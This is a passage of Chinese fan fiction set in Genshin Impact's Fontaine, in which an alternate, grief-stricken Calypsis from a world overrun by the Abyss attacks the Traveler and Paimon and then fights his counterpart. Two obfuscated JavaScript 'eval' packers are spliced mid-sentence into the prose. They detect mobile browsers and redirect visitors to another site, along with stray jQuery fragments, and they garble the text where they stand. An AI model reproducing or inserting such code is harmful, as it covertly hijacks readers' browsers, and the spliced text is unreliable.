卡吕普迪斯并没有固定刷新点,往往是全枫丹到处跑。有时候是野外山区,有时候是海边,有时候是湖畔,有时候是海沫村或者水下,作为经常跑地图然后经常看见在不同地方出现卡吕普迪斯的旅行者,他是真的觉得对方很忙碌。 不过今天找了一整个白天都没看见卡吕普迪斯,真奇怪啊。 派蒙挠头:“他去沉玉谷找福勒依斯玩了?” “有可能。”旅行者点点头,“去问问美露莘吧。” 忙碌了一天的旅行者和派蒙终于在海沫村吃上了一顿热乎饭,打听到了卡吕普迪斯大人下落。 “卡吕普迪斯大人去枫丹廷旅了。”格蕾丝蒂作为陪伴人鱼最久的美露莘,说的话极具参考价值,“那维莱特大人说卡吕普迪斯大人身体不太好,要盯着他吃药呢。” “我的天哪,卡吕普迪斯那么生龙活虎的人鱼竟然身体不太好吗?”派蒙震惊,“我一直以为白术那样的才能叫身体不好。” 看旅行者表情显然也是这样认为的。 格蕾丝蒂不懂人类的表情,但她依旧温声做出解释:“其实卡吕普迪斯大人的身体一直处于亚健康状态,嗯……这个词是希格雯教我的。总之,大人看上去一切都好完全是因为人鱼本身的身体素质远高于其他物种,如果按照人鱼的健康标准评判,大人并没有达标。前些天不知道怎么了,老毛病复发,那维莱特大人不放心他,才将他带去枫丹廷看顾。” 格蕾丝蒂笑着表示:“如果旅行者哥哥想邀请卡吕普迪斯大人一起探索,可以等待几天吗?” 旅行者捂着胸口,低声道:“不知道为什么,有种不存在的良心在隐隐发痛的感觉。” 身边的小飞行物转过头去:“都这样了,我们还想着偷懒……” “明天买些礼品去看望一下他吧。” “嗯嗯!我也有私房钱,这次我也出钱买礼品!” 能让派蒙出钱,看来卡吕普迪斯在她心中是有些份量的。 静原知道后大概是这个心情:~( ̄▽ ̄~)~ 没想到第二天起早离开海沫村,就在厄里那斯东北部的海滩看见了那个蓝色的背影。 对方一反常态的披散着头发,看上去像是刚睡醒出门忘了扎头发一样,此刻正在抚摸厄里那斯裸露的一截尾骨。 “卡吕普迪斯!” 派蒙这家伙隔着老远就在呼唤对方的名字,加速飞了过去:“好久不见呀,你的身体好了一些吗?” 对方愣了愣,半天才转过身来注视着派蒙。 小家伙无知无觉,仍然凑近了想要看清他的面色可还红润:“咦?你的眼睛,怎么变成竖——”瞳了…… 变故就发生在这一刹那间。 “派蒙!” 旅行者迅速上前一把揪住派蒙后衣服领子将她甩开,单手持剑抗下对方一次重击。 金戈碰撞,脆响与闷哼同时响起。 派蒙在空中转了好几圈,像是被滚筒洗衣机狠狠磋磨过一般,甩甩头想要看清楚情况,又被这陡然发生的攻击吓懵了:“老天……这是干什么?” 卡吕普迪斯在攻击旅行者? “怎么了怎么了?你们不要打架啊?”派蒙试图拉架,“之前还好好的呀。” 旅行者一面闪躲对方发起的攻击,一面无力吐槽:“派蒙,是我在单方面挨打啊。” “这是干什么呀!”派蒙糊里糊涂的开始生气,“卡吕普迪斯!你听到我说话了吗?不要打架啊!” 对方拿着骨杖的手微微一顿,再次注视白色小精灵,面上看不清端倪:“派蒙?” “当然是我啦,还能有谁叫派蒙?”小家伙指指点点,“卡吕普迪斯你怎么回事?不要欺负旅行者呀。” 那人瞥了一眼金发的异邦人,突兀的嗤笑一声,明显的敌意让人摸不着头脑偏偏无名火顿时起来了:“荧早就不在了,这家伙算哪门子的旅行者。” 没等搭档二人理清楚这一句话中隐含的信息,就听到他对派蒙发出邀请:“跟我走吧,派蒙,我带你离开。” “你到底要干什么?”旅行者,也就是空忍无可忍,“卡吕普迪斯,我无意与你为敌,可我也不惧。” 那人的湖蓝色竖瞳仍然盯着派蒙的脸看,似乎想要瞧出什么端倪,可是派蒙一脸茫然,十足的傻白甜,和记忆中一模一样:“虽然卡吕普迪斯你是很好啦,但我不要,我会一直跟着旅行者的。” “不走吗?”那人顿了顿,面上一片空白,“明明说找到了你就可以带你出去,果然还是这里的……力量太强悍了,扭曲了你的认知吗?” 中间的名字被他刻意压低的声音模糊得无论如何也听不清。 但是接下来这一句话却叫人胆寒:“那我就杀了他,把你绑出去。” 在空震惊的注视下,[卡吕普迪斯]双手横持法杖,幽蓝色光芒自宝石中心闪烁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14057100|140426||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,四面八方涌上来海水,海平面极速上涨,淹没空的脚踝,然后是小腿,眨眼间就上涨到了半腰。 那家伙站在海面上,居高临下的俯视空,将法杖尖端的宝石对准了空的头颅。数十道洪流凭空出现,从一点抽出如此庞大的水元素,朝着被海水锁住双腿卸力的空发起攻击。 空一手掩护派蒙,一手握住剑柄挥动,岩元素和风元素攻击完美遮挡住来自[卡吕普迪斯]的恶意。 天色阴暗,乌云蔽日,气象的改变昭示这一方之主的汹涌杀意,海浪不安的拍打着岸边礁石。 “别害怕,派蒙,很快就好了。”他一边安慰恐惧瑟缩的小精灵,一边指挥水流化作锁链拘束空的四肢,最后对准他的心脏。 [卡吕普迪斯]注视着那张和记忆中极其相似的脸,轻轻道:“晚安。” “别这样!不许你伤害他!”小小的派蒙鼓足勇气挡在伙伴身前,面对真正的死亡危险,害怕得手脚都在打颤,“卡吕普迪斯是坏蛋!” 一路走来,旅行者遇到了很多危机与苦难,有的是他能应对的,有的是当时的他无力招架的。可无论如何,身边都有一只吵吵嚷嚷的白飞飞陪伴。旅行者打得过的,她就躲在一旁趾高气昂虎假武威。旅行者打不过的,她反倒鼓足勇气挡在旅行者身前——哪怕那个小身板最多硬抗一次碎石就歇了菜。 “派蒙躲开!!! 旅行者睁大了眼睛,完全没想到[卡吕普迪斯]真的会对派蒙下这么重的手——直到他看见锁链在接触到紧闭双眼的派蒙之前就变作水牢,将小家伙严严实实的包裹在内转了几个圈,成功把派蒙转得两眼一黑脑门前星星绕。 “你总是这样。”[卡吕普迪斯]低眉注视着昏过去的派蒙,满是悲悯,“睡一觉吧,醒来后一切都会和从前一样。” “我会带你回到真实的世界中去。” 坐在枫丹廷喝咖啡的静原突然看见天色一暗:“要下雨了?” 我这个人形天气预报怎么不知道? 天空上堆积的乌云越来越多,行人匆匆而过,想着都是暴雨将至,要快些躲雨。 就连露泽咖啡厅的老板都叹了口气:“下雨天,我刚磨好的豆子可就品不出阳光的温暖气息了。” 那是那维莱特心情不好? 静原想到老大的心情的确可以在一定程度上影响枫丹天气,正在思考要不要凑到对方办公室给自己找事干,心脏猛地一痛,像是被谁狠狠揪了一把,让他瞬间放弃这个决定。 出事了。 绝对是出事了。 一时间他也顾不上那维莱特的命令,只想着赶到事发地点查看情况。付了小费和跑腿费,请咖啡店老板去沫芒宫捎个口信后,直接就跑了。 海水逐渐变成深沉的黑,静原投身其中快速游动,人类的身躯不如人鱼本体游得快,不过也够用了,几个呼吸间就从枫丹廷海岸赶到苍晶区北部。 “我嘞个乖乖啊……” 静原一整个大震惊,海平面上涨得这么快的吗?哪里来的水啊?本来是白色细沙海瘫的地方都被海水淹没,上次这情况还是预言实现洪水来袭。 异常涌动的海水,骤然失控的洋流,海上船只险些倾覆,这一切就像家里突然发了失心疯的大型犬一样,铲屎官静原忙得焦头烂额眉头直跳,等他慢慢安抚好不安躁动的海洋,才有余力去看事发地点到底是个什么鬼情况。 然后他就看到旅行者在和人打架。 静原倒吸一口凉气,提着武器直接介入——旅行者是枫丹尊贵的客人,作为枫丹的大守护者,他理应第一时间维护对方。 然后他就发现自己的水元素攻击全部免疫。 免疫免疫还是免疫。 “我打的是个什么?水史莱姆?”静原的声音在旅行者听来虽是天籁,却又恍如隔世。 “两个,卡吕普迪斯?”空错愕,“那我刚刚打的感情牌不是全白费了吗?” 一头雾水的静原:“怎么个事啊?派蒙呢?派蒙去哪里了——老天!” 静原干脆物理攻击一棒子掀翻愣在原地的[卡吕普迪斯],回头心疼的把派蒙从水牢中放出来,晕乎乎的小家伙一到他怀里就忍不住吐,他也不嫌弃,擦干净后轻轻拍打小派蒙的背:“不怕了不怕了哦,我来了,我在这儿呢,给你撑腰来了。” 看清了现场有两个卡吕普迪斯,抱着她的这个是熟悉的,温柔的人鱼卡吕普迪斯后,派蒙忍不住将脸埋在他怀里,委屈的呜呜哭泣:“卡吕普迪斯,他欺负我,还打了旅行者,就是这个大坏蛋!” 旅行者被殴打得那叫一个惨,静原一手搂着派蒙,一手去给旅行者松绑和治疗,心疼的摸摸金发少年的头,少年吸了吸鼻子,攥着静原衣摆控诉:“好痛。” 其中固然有装模作样激起人鱼对幼崽强烈保护欲的小心思,但也没说假话。 毕竟这里是人鱼的主场,他刚刚被海水锁住双腿跑都跑不掉,只能被动防御加挨打——旅行者什么时候受过这等委屈?上一次还是在稻妻。 而静原注视着那人没有表情的脸与菱形竖瞳,心底有个不可思议的猜测。 他这时才后知后觉,刚刚正是预知画面中与旅行者为敌的情况。 只是自己好端端的护着旅行者,面前这个人,是谁? 两条人形的鱼注视着对方,同时举起武器,同时冷下眉眼:“冒牌货。” 神同步啊。 旅行者在静原身后悄悄探出金色的脑袋来,一直对他抱有极大恶意的“冒牌货”现在却连个眼神都没分给他。 那人的眼中是显而易见的,冰冷的憎恶:“我会杀到你们再也不敢用我的形体出现。” “你神经病啊,我本来就长这样。”静原一反常态,不复优雅(之前一直努力的装),“侵犯我肖像权还大放厥词,反了天了你。” 然后旅行者抱着被塞到他怀中的派蒙,站在汹涌的海水里,看着两个只有发型和眼睛不一样的,双生子一般的家伙提着一模一样的武器互殴,突然很想报警。 那维莱特,快来管管。 62.旧时代的残影 那维莱特,快来管管你家孩子。 旅行者在心中祈祷,这俩位在海面上打架居然用的是纯粹的物理攻击——毕竟水免。从东边打到西边,从水上打到水下然后又跑到水上继续打,到了后期俩人全都变回人鱼形态,尾巴一下抽得比一下狠,爪子在对方身上挠出了数不清的血痕,然后快速治愈,接着又添新伤。 派蒙看呆了:“怎么跟照镜子一样……” 反倒是旅行者看得出来,那个“冒牌货”实力应该在卡吕普迪斯之上,可这里是枫丹海,是后者的主场,众方水流默默的抵御着攻击,也因此造就了目前僵持不下的局面。 旅行者没有上前,他不想再感受一遍在水里跟“冒牌货”打架的痛苦了,他宁可去做一百个蒙德查尔耶维奇的委托任务,也不想跟对方打。 海上打斗的动静这么大,理所应当的吸引了巡逻警备队和在厄里那斯生活的美露莘们的的注意。前者远远观测到是两个卡吕普迪斯大人在打斗,当即上报给了枫丹廷沫芒宫总部,然后将周围拉上警戒线,不许其他无关人员靠近,以免被旋流和气浪波及。 美露莘们被旅行者连哄带骗的拦在了外围,天可怜见的,卡吕普迪斯都打红了眼,招式越来越凶残了,误伤到美露莘对方会后悔死的。 那维莱特快来啊! 那维莱特就在这样的万众瞩目一心期盼的时候出现在了事发地,还带了逐影庭的探员们。 逐影庭探员们直接接手了对厄里那斯战场的管控,并礼貌请离了警备队,将两个大守护者海上互殴,疑似鱼格分裂的消息掐灭在摇篮里。 静原这边打得很烦,恨不得挠花对方的臭脸,如果不是那维莱特亲自下场阻止,他压根不会停手。 “好了,都冷静一些。”那维莱特站在二人中间,明显是认出了“冒牌货”的身份,“我们谈谈。关于你如此强烈的攻击欲望,以及你的气息。” 作为众方水族的王,那维莱特能够很清晰的辨认每一位水族所属族群和身份。尤其是他的眷属。 卡吕普迪斯是他的眷属,也是相伴千年的兄弟,他了解对方,亦如对方了解他一般。因此当那维莱特注视这个竖瞳的“冒牌货”后,几乎是一瞬间就明白了对方本质上也是[卡吕普迪斯],也是那维莱特的眷属。 只是他的[那维莱特]已经死去了。 水族的王在一瞬间想明白了很多事,比如家中小鱼预知到的画面,比如最近自己莫名的心悸与担忧,比如为何对方如此面容如此憎恶这世间一切。 那维莱特一面安抚自家的鱼,一面注视着另一条鱼的眼睛,缓慢道:“他授予你亲王的位格了,对吗?” 对方缓缓点了点头,注视着那维莱特,眼眶里逐渐蓄满了泪,只是死死咬着唇,仰着头,不肯让眼泪滴落,不肯表露自己真实的心绪。 美人含泪,原本应当是惹人怜惜的。 静原:不是哥们你装什么啊? 打我的时候下死手,恨不得咬掉我的肉,现在又在我老大面前装可怜,就你会装,就你能装是吧?我也装! 静原这条装鱼当即低头,攥着那维莱特的袖口,吸了吸鼻子。 旁观的旅行者:好眼熟啊。 “怎么了,卡吕普迪斯?”那维莱特第一时间发觉身边小鱼的低落情绪,关切询问道,“别害怕,我在这。” 静原再抬头,湖蓝色的眼中也是一片波光粼粼,鼻尖红红,酸涩道:“他打我打得好痛,尾巴鳞片掉了很多,还想咬掉我的肉。” 虽然人鱼有一定的愈疗能力,但作用在自己身上的有限。而且痛是真的痛啊。 那维莱特点点头,做出承诺:“我知道,我会替你讨回公道。” 因此当他一扭头看向另一条鱼,自家这位就在他背后对[卡吕普迪斯]龇牙挑衅。 [卡吕普迪斯]:“……” 真该抽死这家伙啊。 明明只是区区鬼影,也敢如此挑衅我。 但眼前的“那维莱特”和记忆中一模一样,端正的,温和的,如同仁慈的海一般,一眼就能看出自己和他身边傻蛋的不同之处。 (傻蛋——静原:?) 那维莱特,你也是我臆想中的虚幻吗? “我是真的。”那维莱特了解每一个卡吕普迪斯,只看对方表情和眼睛就知道他在想什么,颔首道,“我是这个世界的那维莱特,货真价实。” “就像你是另一个世界的卡吕普迪斯一样,做不得假。你认得我,我也认得出你。” 静原懵了,[卡吕普迪斯]也懵了。 [卡吕普迪斯]看向远处好奇张望的派蒙,表情终于有了点生动的痕迹:“所以,我刚刚是……在殴打我自己?” 静原忍不住呛他:“积点德吧你,上来就欺负小孩,还打旅行者,然后挠我,跟个恶霸一样走到哪里,哪里就有人被霸凌。简直就是黑恶势力,我迟早把你赶出去。” [卡吕普迪斯]也不甘示弱:“你少往我头上扣帽子,谁赶谁还不一定。还有,你真的很装。” “谁装了?谁先装的?明明是你假惺惺的挤眼泪!死装哥。” “别以为那维莱特不知道你在他身后龇牙!你又好到哪里去了?痴呆鱼!” “那咋了那咋了,那维莱特知道也纵容我,略略略——痴呆这个称号还给你,面瘫脸。” 那维莱特:“……” 这里不是法庭,不然他真的很想杵着手杖敲地喊肃静肃静。 旁观这一切的旅行者表情复杂,明明皱着眉,嘴角却是上扬的。 “好搞笑,这俩人针尖对麦芒,幼稚的就像小学生。”派蒙的吐槽虽迟必到,“还取绰号,没想到卡吕普迪斯也会这么活泼。” 旅行者摸摸下巴:“大概平日的正经都是伪装吧。” “我看气狠了也说不定。”派蒙还是相信卡吕普迪斯的可靠本质的。 美露莘们自觉的在外围活动,没有偷听家长们的谈话。逐影庭探员在周围探查,还真的发现了一些东西。 “那维莱特大人,发现了新的深渊残留污秽。” 卡罗蕾穿着逐影庭探员的制服,将搜集到的深渊污秽封锁进枫丹科学院最新研发的拘禁装置中,带到那维莱特面前:“和厄里那斯本部净化过的残留物不同,这样的污秽更为浓郁和污浊。” 美露莘是厄里那斯的孩子,生来就拥有极高的深渊抗性,连她都说污浊,可见危害程度多高。 [卡吕普迪斯]注视着小小的卡罗蕾,对她伸出手:“交给我吧,这应该是我带来的脏东西。” 卡罗蕾犹豫了一会,刚刚的打斗和争论她有留意,不过在看到那维莱特大人和自家的卡吕普迪斯大人默许后,还是交了出去,特别叮嘱:“要小心哦。” 旅行者也走了过来,他是无惧深渊的世外之人,很愿意处理提瓦特的深渊灾难。不过看向[卡吕普迪斯]的时候还是很生气。 [卡吕普迪斯]单手抓住那颗球形金属装置,水流凭空出现,包裹了金属球,然后像硫酸腐蚀血肉一般,将其吞噬殆尽。 派蒙被他这一手吓到,如果他刚刚用这种招数对付她和旅行者,尸骨无存也是有可能的啊。 静原倒是不怕:“这种水流是无法溶蚀活物的。” “你怎么知道?”派蒙惊讶,“卡吕普迪斯你也会吗?” “我可不会这个技术。不过要是能用在活人身上,他刚刚就直接对着旅行者用了。”静原的话语并没有引来对方的反驳,可见的确是这样。 派蒙直接躲在了那维莱特身后,哽着脖子喊:“你!刚刚为什么要那么欺负旅行者!一点礼貌都没有!” “对待敌人不需要礼貌这种无用的东西。”[卡吕普迪斯]双手抱胸,“在我的认识中,你身后那个少年不是旅行者,而是深渊教团的王子殿下。是我的仇敌。” “深渊教团的领导人不是一位公主吗?”静原皱眉,引来对方一个白眼:“不一样。” 眼见一言不合又要开打,那维莱特紧急叫停这场正在酝酿的风暴:“两个世界情况不一样,请暂时冷静下来。” 倒是旅行者有些着急:“那你的世界里荧怎么样了?” [卡吕普迪斯]斜睨他一眼,极不情愿道:“为了解决污染,也为了保住你的命,付出了极大的代价,陷入了沉睡。派蒙为了帮旅行者找回她心心念念的哥哥,被贼人蒙骗拐走,误入深渊污秽的秘境,我跟上去,然后来到了这里。” 所以他来到这里后,第一反应是周围的幻境太过逼真,完全就是污染前的枫丹模样,厄里那斯还没有被迫复活危害世界。看到派蒙跟在那个臭名昭著的王子身边,他以为派蒙再一次被深渊蛊惑,问她要不要走,得到了拒绝的回答后怒火中烧,决定强行带走派蒙,顺便打死空这个家伙。 然后这个世界的自己窜了出来。 明白了,一切都明白了。 派蒙挠挠头:“难怪你问我要不要跟你走,我还以为是你生病了,脑子有病……” 毕竟格蕾丝蒂也没说老毛病是什么。 旅行者没话讲,只是叹气,一口长长的气。 [卡吕普迪斯]:“……” 他看向另一个自己:“你发什么病了?” 静原言简意赅:“眼睛痛。” “什么能伤到你的眼睛?说出来让我笑笑。” “你不知道?” “我该知道什么?” 两个人都是莫名其妙,同时看向那维莱特。 那维莱特感觉头有点痛,这让他想起在审判庭看着被告人和原告当庭撕打的过往:“回沫芒宫说吧。” 静原给了旅行者上上下下仔仔细细检查了一番身体,再三确认打出来的伤都愈合后,还特意做了个护身符:“这个能抵御一部分水元素伤害。抱歉旅行者,他这样折辱你,我还没法帮你报报仇。” “这不是你的错,不必道歉。”旅行者珍重的握住这块海螺护身符,“谢谢你,卡吕普迪斯。” “唉……虽然很不想承认,但那家伙的确是另一个我。”静原忍不住吐槽,“怎么能恶劣成这样。” “没事。旅行者面上看不出什么表情,“我会打回来的。” 旅行者爱憎分明,有仇必报。 “……我跟你一起打。” 这边密谋要如何围殴,那边的那维莱特面对[卡吕普迪斯]也很无奈。 “所以,你是没有获得预知这个能力的,对吗?” “没有,五百多年前,六神讨伐坎瑞亚的那天我没有获得任何不属于我的能力。”[卡吕普迪斯]平静道,“如果我知晓未来,不可能让[那维莱特]死在我前面。” “他……”是怎么死的。 “……那天我不在。之前纳塔全线崩溃,我带着纯水精灵,和其他国家的联军去了纳塔支援。后来深渊教团出现,把埋藏的暗钉启用,联军损伤惨重,所以深渊踏破了纳塔,逐个击破了六国的防线,裂隙在全世界出现。速度那么快,人类只能用尸山血海拖延它们入侵的脚步。后来惊动了天空岛,可惜那位也无力回天。失去的,被污染的土地和灵魂不会再回来。” [卡吕普迪斯]眼眶通红:“神明相继陨落,各地的元素龙王也陷入癫狂,你……[那维莱特]为了庇护枫丹的水族,维系深海之下存活的希望,献出了全部的力量。我赶回来的时候,已经无力回天。[那维莱特]授予我亲王的位格,要求我庇护剩下的水族和人类。” 大颗的泪珠滚落,噼里啪啦砸在地上。 “都死了,如果不是旅行者拥有净化深渊的能力,连最后的据点都会被深渊吞没。那维莱特,你叫我怎么不恨他?如果不是深渊教团,我本可以回来支援,至少你不会死……根本就不会死!” 他捂住脸,悲鸣泯灭在指间。 那维莱特抬手想要拥抱他,就像每一次拥抱伤心的小鱼那样,可是对方拒绝了:“我的王不会再回来了。” “福勒依斯呢?”偷听的静原忍不住插嘴,“她也死了吗?” [卡吕普迪斯]放下手,露出那双血红色的竖瞳,幽幽道:“她当然死了,为了救你,释放了全部的力量,连沉睡修养的机会都不会有,成功将你从死亡的世界重新拉了回来。” “不然你以为,我是怎么从纳塔回来的?” 太可悲了。 本该死在纳塔的人鱼被最好的朋友纯水精灵以命换命救下,怀揣着回家搬救兵的希望,跌跌撞撞赶回枫丹,看到的就是魔物横行,四海归葬的人间炼狱。被迫复活的厄里那斯绝望的发出悲鸣,它的每一次呼吸,每一秒存活对周围的生命来说都是剧毒,美露莘们没有死在深渊的浪潮中,却被愤怒的人类抓住残忍杀害。那是厄里那斯的女儿,也是卡吕普迪斯珍爱的孩子,可偏偏下杀手的是被他们保护的人类。 卡吕普迪斯再一次杀死了绝望的厄里那斯,踩着死者的尸骸获得了不会被深渊污染的躯体和力量,可是他的灵魂已经污浊。 卡吕普迪斯疯了。 但是那维莱特的遗言要求他必须活着,因为他是枫丹的大守护者,他要保护水族和人类。 赶在失控前打晕对方的那维莱特看着自家活蹦乱跳只是有点眼睛痛的鱼,不知道是欣慰还是庆幸,亦或是后怕。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14074482|140426||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>静原打横抱起另一个自己,忍不住掂了掂份量:“他好瘦。” 派蒙和旅行者都是表情复杂。 “他看起来很疲惫。”像是一张拉满的弓,绷到了极致。 “如果那个世界的深渊都是那种程度的话。”那维莱特严肃道,“我们也要早作准备了。” 在场所有人都意识到这是一份无比珍贵的情报,穿越了破碎的世界壁垒与时间洪流,送到了如今的提瓦特手中,足以救下不计其数的人和命。 静原查看了对方心脏的部位,陷入诡异的沉默。 那里有福勒依斯力量的气息。 那是一颗水做的心。 比起预知的画面中那维莱特死亡,摆在眼前的,福勒依斯本源力量重构的心脏让静原额角直跳。 好消息:完全不焦虑了。 坏消息:因为天已经塌了。 派蒙僵硬道:“卡吕普迪斯看上去也要哭了,怎么办怎么办?” 旅行者不知道怎么办。 “福勒依斯是他最好的朋友。”那维莱特理解静原内心的崩溃,这是直接摆到眼前的事实,“就像你看到派蒙染血的头冠,却不见派蒙那样。” 旅行者瞬间明悟,觉得自己大概也会崩溃的。 “那维莱特大人,已经排查过苍晶区,厄里那斯周边没有出现异常地脉波动。” “那维莱特大人,白露区秋分山西侧排查完毕,地脉涌动正常,没有淤积。” “那维莱特大人,样本取样对比参照后,没有在科学院现有样本中发现同种程度的深渊物质……” 那维莱特坐在办公室听着逐影庭探员们一茬接一茬的报告探查结果,只觉得情况愈发扑朔迷离。 众所周知,提瓦特的记忆与历史封存在世界树中,而地脉则是世界树的根系,储存着众多的历史与回忆。有时候地脉奔涌遭到阻拦,就会形成淤积点。淤积最后产生的东西,被称呼为地脉之花。 那维莱特本来猜想[卡吕普迪斯]的出现是地脉的推动。可是厄里那斯因为深渊力量的缘故,整个苍晶区也只有一小部分会有地脉淤积点。如果这两块相近的地方地脉没有问题,[卡吕普迪斯]所言的直接出现在厄里那斯东北部倒也说得通。 新的问题出现了,[卡吕普迪斯]是如何来到这个世界的? 而另一间私密的房间里,静原和苏醒后的[卡吕普迪斯]坐在沙发上,旅行者和派蒙一面吃茶点,一面听他们交谈。 “你既然能看到未来的剪影,做了改变吗?” “有一点,不多。”静原搅拌着咖啡,加了两块方糖,“反正最后都死了人。” “不意外。所以我的到来,你也看见了吗?” 静原想到这个就叹气:“严格来说,我以为会是我和旅行者打。那段时间我还在思考枫丹该是出了什么问题,他又做了什么,才能让我对他出手。” “毕竟是旅行者。”静原看了一眼空,“后来看旅行者在枫丹到处探索,我的几个孩子担心你会找到我在海底的私产,觉得大概会是因为旅行者拿走了我的财产,导致我跟你打架。不过财产这种事其实还好,毕竟海下的私产划分向来不是十分清晰严苛,谁找到了就是谁的。换句话说,如果旅行者你能够破开我的禁制(防盗门)取走财宝,那也是你实力的一部分,我认可。” 在枫丹四处探索(劫掠)的旅行者尴尬的挠挠头,听到这话他可耻的心动了。 [卡吕普迪斯]没有呛声,显然他当年也是这么想的:“然后呢?” “后来又看见了一些未来的片段,和你描述的基本一致。再然后就是你来到这个世界。”静原摊牌了,“从原始胎海回来后,预知那些随机的片段已经不会再眼睛痛了。不过那维莱特说药还得吃。” 派蒙了悟:“难怪格蕾丝蒂说你老毛病复发呢。” 旅行者咽下一块饼干:“所以,那个世界的旅行者是我的妹妹荧,而[我]才是深渊教团的领导人。如果是因为深渊教团的阴谋让你失去了这样多,我姑且原谅你刚开始对我的无礼。” “……不需要。”[卡吕普迪斯]表情空白,“这是不同的世界,对你来说我只是个莫名其妙上来就攻击你的敌人,要报复尽管放马过来。” 派蒙气呼呼的飞到静原身边,大声告状:“他好讨厌哦。”看不出来旅行者是想和他化敌为友吗?这可是看在卡吕普迪斯的面子上唉! [卡吕普迪斯]还是那副死人样子:“随意。” 至亲挚友的离去带走了他全部的正面情绪,极端的痛苦和憎恶裹挟着他的心脏,表露出来的情绪少之又少,空白的表情已经是极力控制后的产物。 已经不会更痛了。 派蒙呐呐的缩进静原怀中,被投喂着吃了两块饼干,帕子擦擦嘴角碎屑,毫无被他当成小孩子的自觉,扒拉着静原的手嘿嘿笑:“还是你好。” 这些都刺激不到[卡吕普迪斯],他还是那个死人脸。 “我不会在这个世界待太久。”他突然说话,“我还要去找派蒙,带她回家。” 他答应过荧,会照顾好她珍爱的伙伴。 “派蒙也在这个世界吗?”静原更关心小朋友,“我们可以一起帮忙找。” “她不在。”[卡吕普迪斯]突然侧目看向静原,两双湖蓝色的眼睛对视,“这个世界只有你和我是可以重复出现的。一条世界线只能有一个派蒙,一个旅行者,一个那维莱特……明白吗?” “为什么可以有两个我。” “还记得你第一次从人鱼变成人的过程吗?” 说到这个连旅行者都精神起来了,那天卡吕普迪斯流的血可能是一生中最多的一次,酷刑一般的分化让人根本不忍心去看。 [卡吕普迪斯]的声音似乎是来自深海的回响:“从母亲那里得到的祝福,能够让你我拥有第二条命,在高天的棋盘上占据两个位格。无论是人鱼卡吕普迪斯,还是人类静……源?” 他也无法说出静原的本名。 “难怪……”静原倒是隐隐有些明白,难怪每次分化都如此痛苦,竟然是直接将他分成两个部分,拥有两个被高天命运承认的身份。 那么[卡吕普迪斯]的到来是占据了其中一个身份,具体什么形体表现——高天不在意这个。 “不过,与其说这是母亲的祝福,不如说是高天的命令。”静原想到了什么,“祂的用词很精准,赐福就是赐福,祝愿则是祝愿。源海赐福可能有高天的默许。”不然原始胎海为什么要祝福他,祝福他战胜他自己的结局,战胜敌视他的命运? 静原顿悟了,他感觉自己充满了智慧。 63.战胜我 静原疑似明白了原始胎海意识暗示的话语。 不过他没有贸然说出口,只是看了看一眨不眨注视着自己的[卡吕普迪斯]。两条鱼在一瞬间心意相通,完成了一次旁人听不见的交流。 静原站起来:“我带你去见她。” [卡吕普迪斯]紧随其后,俩人离开房间,派蒙挠挠头:“他们在打什么哑迷?我听不懂。” “大概是去见福勒依斯吧。那是他们最好的朋友。”朋友是亲手选择的家人,一样珍重。 旅行者知道是另一个[福勒依斯]以命换命救下[卡吕普迪斯]后,心中唏嘘不已。能够用生命换对方活下来的友谊,太过沉重,也太过珍贵了。 要离开枫丹去沉玉谷的话,得先跟那维莱特报备。别看[卡吕普迪斯]不是个正常鱼,他来之前那维莱特的精神也是紧绷状态,静原不是很希望家人为自己担忧,但他也希望能满足另一个自己的愿望——去确认福勒依斯的安好。 尽管他俩现在两看相厌。 那维莱特当然知晓他们的友谊,本来当初还在感慨卡吕普迪斯一条那么怕冷的鱼远渡重洋去遥远的至冬,接生死未卜的福勒依斯回家足够让他动容。知晓[福勒依斯]以命换命让濒死的[卡吕普迪斯]活下来后,那维莱特心中只剩下感激。 他当然不会拒绝,于是两个双胞胎兄弟一样的鱼在众目睽睽之下离开枫丹廷,以人鱼形态在海中极速游动,奔赴邻国璃月的沉玉谷,寻找有些时日没见面的福勒依斯了。 当天晚上就有报社紧急重新排版印刷,势必要让自家报纸成为首发,随即接收到沫芒宫最高文件命令,被掐住了咽喉的记者笔者们消停了,因此市面上没有流传出更多第二位卡吕普迪斯大人的消息。 就算是小道消息,也有刺玫会压下去。不过多时,新的热点出现,这件事就风轻云淡的消弭在众人心中了。 而今天,福勒依斯本来在山腰的石桌边坐着喝茶吃点心看话本子,突然林间鸟兽四散,有什么生物在快速移动靠近,吓得她连忙收起了话本子,生怕是上门做客的哪位仙家。 啊,是卡吕普迪斯啊,那没事了,继续看——她在他面前毫无形象可言。 “今天怎么想着来找我了?要不要下山聚餐?”福勒依斯没起身,招呼他一起坐下,“正好我今天买了寻芳斋的茶酥,你最喜欢吃这个了……怎么披着头发?刚睡完午觉?你怎么一直看着我不说话?” 福勒依斯叼着一块茶酥,口齿不清的伸手去摸坐在对面的他的额头:“没发烧啊?你怎么一直盯着我看?终于发现福勒依斯我美貌如花值得膜拜了?” 对方还是不说话。 “嘿——你小子,今天装哑巴啊。我说了半天话,你看独角戏啊。”福勒依斯不轻不重的踢了他一脚,像是发现了什么,快速咽下点心,然后凑近了捧着他的脸颊,“乖乖,你受伤了?谁欺负的你?我给你打回来——等等,那维莱特就算了,虽然我不觉得他会打你,但是真有那个情况我也打不过他。” 他摇了摇头,哑着嗓子开口:“不是他。” 